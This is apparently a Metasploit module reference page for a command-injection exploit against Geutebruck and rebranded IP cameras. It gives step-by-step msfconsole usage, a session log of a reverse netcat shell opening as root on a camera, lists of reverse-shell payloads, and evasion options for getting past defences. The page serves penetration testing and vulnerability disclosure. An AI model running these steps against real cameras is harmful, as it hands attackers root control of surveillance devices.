Geutebruck Multiple Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Geutebruck Multiple Remote Command Execution
Module: exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
Source code: modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb
Disclosure date: 2021-07-08
Last modification time: 2022-10-01 17:54:59 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-33543, CVE-2021-33544, CVE-2021-33548, CVE-2021-33550, CVE-2021-33551, CVE-2021-33552, CVE-2021-33553, CVE-2021-33554
This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder and exploits multiple authenticated arbitrary command execution vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
msf exploit(geutebruck_cmdinject_cve_2021_335xx) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
The following Geutebruck products using firmware versions <= 1.12.0.27, firmware version 1.12.13.2 or firmware version 1.12.14.5:
- Encoder and E2 Series Camera models:
- G-Code:
- EEC-2xxx
- G-Cam:
- EBC-21xx
- EFD-22xx
- ETHC-22xx
- EWPC-22xx
Many brands use the same firmware:
- UDP Technology (which is also the supplier of the firmware for the other vendors)
- Ganz
- Visualint
- Cap
- THRIVE Intelligence
- Sophus
- VCA
- TripCorps
- Sprinx Technologies
- Smartec
- Riva
This module has been tested on a Geutebruck 5.02024 G-Cam EFD-2250 running the latest firmware version 1.12.0.27.
Description
This module bypasses authentication and exploits multiple authenticated arbitrary command execution
vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as well as firmware
versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.
Users can find additional details of this vulnerability on the blogpost page at https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/.
Verification Steps
- Start the camera using default configuration
- Launch
msfconsole - Do:
use exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx - Do:
set lhost <metasploit_ip> - Do:
set rhosts <camera_ip> - Do:
checkto be sure the target is vulnerable - Do:
exploit - You should get a shell as the
rootuser.
Scenarios
Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.0.27.
msf6 > use exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
[*] Using configured payload cmd/unix/reverse_netcat_gaping
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > set lhost 192.168.14.1
lhost => 192.168.14.1
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > set rhosts 192.168.14.58
rhosts => 192.168.14.58
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > exploit
[*] Started reverse TCP handler on 192.168.14.1:4444
[*] 192.168.14.58:80 - Setting up request...
[*] Sending CMD injection request to 192.168.14.58:80
[*] Exploit complete, you should get a shell as the root user!
[*] Command shell session 3 opened (192.168.14.1:4444 -> 192.168.14.58:43392) at 2021-02-23 13:37:28 +0200
pwd
/tmp/www_ramdisk/uapi-cgi/admin
id
uid=0(root) gid=0(root)
uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-g3532e87a #1 PREEMPT Tue May 12 18:00:46 KST 2020 armv5tejl GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the linux/http/geutebruck_cmdinject_cve_2021_335xx exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
[*] Using configured payload cmd/unix/reverse_netcat_gaping
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > show info
Name: Geutebruck Multiple Remote Command Execution
Module: exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
Platform: Unix, Linux
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-07-08
Provided by:
Titouan Lazard
Ibrahim Ayadhi
S��bastien Charbonnier
Module side effects:
ARTIFACTS_ON_DISK
Module stability:
CRASH_SAFE
Module reliability:
REPEATABLE_SESSION
Available targets:
Id Name
-- ----
0 CVE-2021-33544 - certmngr.cgi
1 CVE-2021-33548 - factory.cgi
2 CVE-2021-33550 - language.cgi
3 CVE-2021-33551 - oem.cgi
4 CVE-2021-33552 - simple_reclistjs.cgi
5 CVE-2021-33553 - testcmd.cgi
6 CVE-2021-33554 - tmpapp.cgi
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module bypasses the HTTP basic authentication used to access
the /uapi-cgi/ folder and exploits multiple authenticated arbitrary
command execution vulnerabilities within the parameters of various
pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
ETHC-22xx, and EWPC-22xx devices running firmware versions <=
1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5.
Successful exploitation results in remote code execution as the root
user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-33543
https://nvd.nist.gov/vuln/detail/CVE-2021-33544
https://nvd.nist.gov/vuln/detail/CVE-2021-33548
https://nvd.nist.gov/vuln/detail/CVE-2021-33550
https://nvd.nist.gov/vuln/detail/CVE-2021-33551
https://nvd.nist.gov/vuln/detail/CVE-2021-33552
https://nvd.nist.gov/vuln/detail/CVE-2021-33553
https://nvd.nist.gov/vuln/detail/CVE-2021-33554
http://geutebruck.com
https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/
https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03
Module Options
This is a complete list of options available in the linux/http/geutebruck_cmdinject_cve_2021_335xx exploit:
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > show options
Module options (exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat_gaping):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 CVE-2021-33544 - certmngr.cgi
Advanced Options
Here is a complete list of advanced options supported by the linux/http/geutebruck_cmdinject_cve_2021_335xx exploit:
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > show advanced
Module advanced options (exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write
, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwp
request, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for no
n-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are aut
o-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Wind no The User-Agent header to use for all requests
ows NT 5.1)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat_gaping):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but
directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/geutebruck_cmdinject_cve_2021_335xx module can exploit:
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > show targets
Exploit targets:
Id Name
-- ----
0 CVE-2021-33544 - certmngr.cgi
1 CVE-2021-33548 - factory.cgi
2 CVE-2021-33550 - language.cgi
3 CVE-2021-33551 - oem.cgi
4 CVE-2021-33552 - simple_reclistjs.cgi
5 CVE-2021-33553 - testcmd.cgi
6 CVE-2021-33554 - tmpapp.cgi
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/geutebruck_cmdinject_cve_2021_335xx exploit:
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/geutebruck_cmdinject_cve_2021_335xx exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate
)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache
)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-n
ormal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Connection failed!
- Empty body in the response!
- Target did not respond with a XML document containing the "firmware" element!
- Target responded with a XML document containing the "firmware" element but its not a valid version string!
- Target did not respond with a valid XML response that we could retrieve the version from!
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed!
Here is a relevant code snippet related to the "Connection failed!" error message:
132: res = send_request_cgi(
133: 'method' => 'GET',
134: 'uri' => '/brand.xml'
135: )
136: unless res
137: print_error('Connection failed!')
138: return false
139: end
140:
141: unless res&.body && !res.body.empty?
142: print_error('Empty body in the response!')
Empty body in the response!
Here is a relevant code snippet related to the "Empty body in the response!" error message:
137: print_error('Connection failed!')
138: return false
139: end
140:
141: unless res&.body && !res.body.empty?
142: print_error('Empty body in the response!')
143: return false
144: end
145:
146: res_xml = res.get_xml_document
147: if res_xml.at('//firmware').nil?
Target did not respond with a XML document containing the "firmware" element!
Here is a relevant code snippet related to the "Target did not respond with a XML document containing the "firmware" element!" error message:
143: return false
144: end
145:
146: res_xml = res.get_xml_document
147: if res_xml.at('//firmware').nil?
148: print_error('Target did not respond with a XML document containing the "firmware" element!')
149: return false
150: end
151: raw_text = res_xml.at('//firmware').text
152: if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
153: raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0]
Target responded with a XML document containing the "firmware" element but its not a valid version string!
Here is a relevant code snippet related to the "Target responded with a XML document containing the "firmware" element but its not a valid version string!" error message:
150: end
151: raw_text = res_xml.at('//firmware').text
152: if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
153: raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0]
154: else
155: print_error('Target responded with a XML document containing the "firmware" element but its not a valid version string!')
156: false
157: end
158: end
159:
160: def check
Target did not respond with a valid XML response that we could retrieve the version from!
Here is a relevant code snippet related to the "Target did not respond with a valid XML response that we could retrieve the version from!" error message:
158: end
159:
160: def check
161: version = firmware
162: if version == false
163: return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!')
164: end
165:
166: rex_version = Rex::Version.new(version)
167: vprint_status("Found Geutebruck version #{rex_version}")
168: if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')
Go back to menu.
Related Pull Requests
- #15627 Merged Pull Request: Update some post libs to use library methods defined in
file.rb - #15640 Merged Pull Request: Add missing python3 shebang
- #15639 Merged Pull Request: Fix typo in rename_file preventing Linux systems from renaming files
- #15636 Merged Pull Request: Fix regression issue with serializing reported events
- #15637 Merged Pull Request: Remove explicit rhosts protocol validation
- #15522 Merged Pull Request: Meterpreter interactive shell
- #15253 Merged Pull Request: Add http/smb/mysql/postgres/ssh support in rhosts option
- #15633 Merged Pull Request: Update workflow to Ubuntu 18.04 and use newer Ruby Setup
- #15621 Merged Pull Request: add automation cache creation tools
References
- CVE-2021-33543
- CVE-2021-33544
- CVE-2021-33548
- CVE-2021-33550
- CVE-2021-33551
- CVE-2021-33552
- CVE-2021-33553
- CVE-2021-33554
- http://geutebruck.com
- https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/
- https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03
See Also
Check also the following modules related to this module:
- exploit/linux/http/geutebruck_instantrec_bof
- exploit/linux/http/geutebruck_testaction_exec
- post/linux/manage/geutebruck_post_exp
- exploit/linux/http/huawei_hg532n_cmdinject
- exploit/linux/http/pineapple_bypass_cmdinject
- exploit/linux/http/pineapple_preconfig_cmdinject
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
- exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
- exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
- exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
- exploit/linux/http/hikvision_cve_2021_36260_blind
- exploit/linux/http/sonicwall_cve_2021_20039
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/zimbra_unrar_cve_2022_30333
- exploit/linux/fileformat/unrar_cve_2022_30333
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
Authors
- Titouan Lazard
- Ibrahim Ayadhi
- Sébastien Charbonnier
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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